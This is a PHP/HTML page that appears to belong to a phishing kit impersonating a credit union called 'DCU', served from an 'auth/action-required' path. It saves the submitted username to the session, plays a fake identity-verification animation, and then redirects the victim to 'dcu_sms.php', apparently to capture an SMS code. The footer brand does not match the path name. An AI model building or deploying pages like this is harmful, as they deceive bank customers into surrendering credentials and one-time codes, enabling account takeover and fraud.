<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>DCU – Verifying</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --teal: #006b5e; --teal-dark: #00574c; --teal-light: #008f7a;
      --teal-pale: #e6f4f2; --teal-mid: #cceae5;
      --white: #ffffff; --offwhite: #f7faf9;
      --text: #1a2e2b; --muted: #6b8c87; --border: #c8dedd;
      --shadow: 0 24px 64px rgba(0,107,94,.18); --radius: 10px;
    }
    html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--teal-dark); overflow-x: hidden; }

    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .22; }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(0,87,76,.95) 35%, rgba(0,107,94,.80) 100%); }

    .topbar { position: relative; z-index: 10; background: rgba(0,40,35,.9); backdrop-filter: blur(10px); border-bottom: 1px solid rgba(255,255,255,.07); height: 44px; display: flex; align-items: center; padding: 0 36px; }
    .topbar-left { display: flex; }
    .topbar-left a { color: rgba(255,255,255,.6); font-size: .72rem; font-weight: 500; letter-spacing: .08em; text-transform: uppercase; text-decoration: none; padding: 0 18px; height: 44px; display: flex; align-items: center; border-right: 1px solid rgba(255,255,255,.08); transition: color .2s, background .2s; }
    .topbar-left a:first-child { border-left: 1px solid rgba(255,255,255,.08); }
    .topbar-left a:hover { color: var(--white); background: rgba(255,255,255,.05); }

    .navbar { position: relative; z-index: 10; background: var(--white); border-bottom: 1px solid var(--border); display: flex; align-items: center; padding: 0 36px; height: 72px; gap: 40px; }
    .logo img { height: 44px; display: block; }
    .nav-links { display: flex; gap: 4px; margin-left: 16px; }
    .nav-links a { color: var(--text); font-size: .83rem; font-weight: 600; text-decoration: none; padding: 8px 14px; border-radius: 6px; transition: background .2s, color .2s; }
    .nav-links a:hover { background: var(--teal-pale); color: var(--teal); }
    .nav-spacer { flex: 1; }
    .btn-pay { background: var(--teal); color: var(--white); font-size: .8rem; font-weight: 700; letter-spacing: .07em; text-transform: uppercase; text-decoration: none; padding: 10px 20px; border-radius: 6px; transition: background .2s; }
    .btn-pay:hover { background: var(--teal-dark); }

    .main { position: relative; z-index: 5; min-height: calc(100vh - 116px); display: flex; align-items: center; justify-content: center; padding: 48px 20px 64px; }

    .card { background: var(--white); border-radius: 18px; box-shadow: var(--shadow); width: 100%; max-width: 440px; overflow: hidden; animation: fadeUp .5s ease both; }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(22px); } to { opacity: 1; transform: translateY(0); } }

    .card-header { background: var(--teal); padding: 26px 36px 22px; position: relative; overflow: hidden; }
    .card-header::after { content: ''; position: absolute; bottom: -24px; right: -24px; width: 100px; height: 100px; border-radius: 50%; background: rgba(255,255,255,.06); }
    .card-header h1 { font-family: 'DM Serif Display', serif; font-size: 1.6rem; color: var(--white); position: relative; z-index: 1; }
    .card-header p { color: rgba(255,255,255,.6); font-size: .83rem; margin-top: 4px; font-weight: 300; position: relative; z-index: 1; }

    .card-body { padding: 36px 36px 42px; text-align: center; }

    /* Spinner */
    .spinner-wrap { width: 70px; height: 70px; margin: 0 auto 26px; position: relative; }
    .ring-outer { width: 70px; height: 70px; border-radius: 50%; border: 4px solid var(--teal-mid); border-top-color: var(--teal); animation: spin 1s linear infinite; }
    .ring-inner { position: absolute; inset: 12px; border-radius: 50%; border: 3px solid transparent; border-bottom-color: var(--teal-light); animation: spin .7s linear infinite reverse; }
    @keyframes spin { to { transform: rotate(360deg); } }

    .status-title { font-family: 'DM Serif Display', serif; font-size: 1.3rem; color: var(--text); margin-bottom: 8px; }
    .status-sub { font-size: .86rem; color: var(--muted); font-weight: 300; margin-bottom: 30px; }

    .steps { list-style: none; text-align: left; display: flex; flex-direction: column; gap: 13px; }
    .step { display: flex; align-items: center; gap: 13px; font-size: .86rem; color: var(--muted); opacity: 0; transform: translateX(-8px); animation: stepIn .4s ease forwards; }
    .step:nth-child(1) { animation-delay: .3s; }
    .step:nth-child(2) { animation-delay: .9s; }
    .step:nth-child(3) { animation-delay: 1.5s; }
    @keyframes stepIn { to { opacity: 1; transform: translateX(0); } }
    .step .dot { width: 28px; height: 28px; border-radius: 50%; border: 2px solid var(--border); display: flex; align-items: center; justify-content: center; flex-shrink: 0; font-size: .72rem; color: var(--teal); background: var(--teal-pale); transition: all .3s; }
    .step.done .dot { background: var(--teal); border-color: var(--teal); color: var(--white); }
    .step.done { color: var(--text); font-weight: 600; }
    .step.active .dot { border-color: var(--teal); animation: pulseDot 1s ease infinite; }
    @keyframes pulseDot { 0%,100% { box-shadow: 0 0 0 0 rgba(0,107,94,.4); } 50% { box-shadow: 0 0 0 6px rgba(0,107,94,0); } }

    .progress-bar-wrap { margin: 26px 0 0; background: var(--teal-pale); border-radius: 99px; height: 6px; overflow: hidden; }
    .progress-bar { height: 100%; background: linear-gradient(90deg, var(--teal-dark), var(--teal-light)); border-radius: 99px; width: 0; animation: fillBar 2.5s ease forwards; animation-delay: .3s; }
    @keyframes fillBar { to { width: 100%; } }

    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.3); font-size: .72rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; margin: 0 6px; }
    .footer a:hover { color: rgba(255,255,255,.8); }

    @media (max-width:640px) { .topbar, .navbar { padding: 0 16px; } .nav-links { display: none; } .card-header, .card-body { padding-left: 22px; padding-right: 22px; } }
  </style>
</head>
<body>

<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['dcu_username'] = htmlspecialchars(trim($_POST['username'] ?? ''));
    // TODO: validate credentials here
}
?>

<div class="bg-wrap">
  <img src="/DELTACREDITUNION/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<div class="topbar">
  <div class="topbar-left">
    <a href="#">Insurance</a><a href="#">Investments</a><a href="#">Branches &amp; ATMs</a>
  </div>
</div>

<nav class="navbar">
  <div class="logo"><img src="/DELTACREDITUNION/auth/action-required/res/img/logo.png" alt="DCU"></div>
  <div class="nav-links">
    <a href="#">Bank</a><a href="#">Borrow</a><a href="#">Plan</a>
    <a href="#">Learn</a><a href="#">Support</a><a href="#">Services</a><a href="#">Membership</a>
  </div>
  <div class="nav-spacer"></div>
  <a href="#" class="btn-pay">Pay My Loan</a>
</nav>

<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Verifying Identity</h1>
      <p>Please wait while we authenticate your credentials</p>
    </div>
    <div class="card-body">

      <div class="spinner-wrap">
        <div class="ring-outer"></div>
        <div class="ring-inner"></div>
      </div>

      <div class="status-title" id="statusTitle">Authenticating…</div>
      <div class="status-sub">Do not close this window. This will only take a moment.</div>

      <ul class="steps">
        <li class="step" id="step1"><span class="dot">✓</span> Verifying username</li>
        <li class="step" id="step2"><span class="dot">✓</span> Validating credentials</li>
        <li class="step" id="step3"><span class="dot">✓</span> Preparing secure session</li>
      </ul>

      <div class="progress-bar-wrap">
        <div class="progress-bar"></div>
      </div>

    </div>
  </div>
</div>

<div class="footer">
  <p>© <?= date('Y') ?> Digital Federal Credit Union. All rights reserved.
    <a href="#">Privacy Policy</a> | <a href="#">Security</a>
  </p>
</div>

<script>
  const steps = [
    { id: 'step1', delay: 600 }, { id: 'step2', delay: 1200 }, { id: 'step3', delay: 1900 }
  ];
  steps.forEach(({ id, delay }) => {
    setTimeout(() => {
      const el = document.getElementById(id);
      el.classList.add('active');
      setTimeout(() => { el.classList.remove('active'); el.classList.add('done'); }, 500);
    }, delay);
  });
  setTimeout(() => { document.getElementById('statusTitle').textContent = 'Almost there…'; }, 1400);
  setTimeout(() => { window.location.href = 'dcu_sms.php'; }, 3000);
</script>
</body>
</html>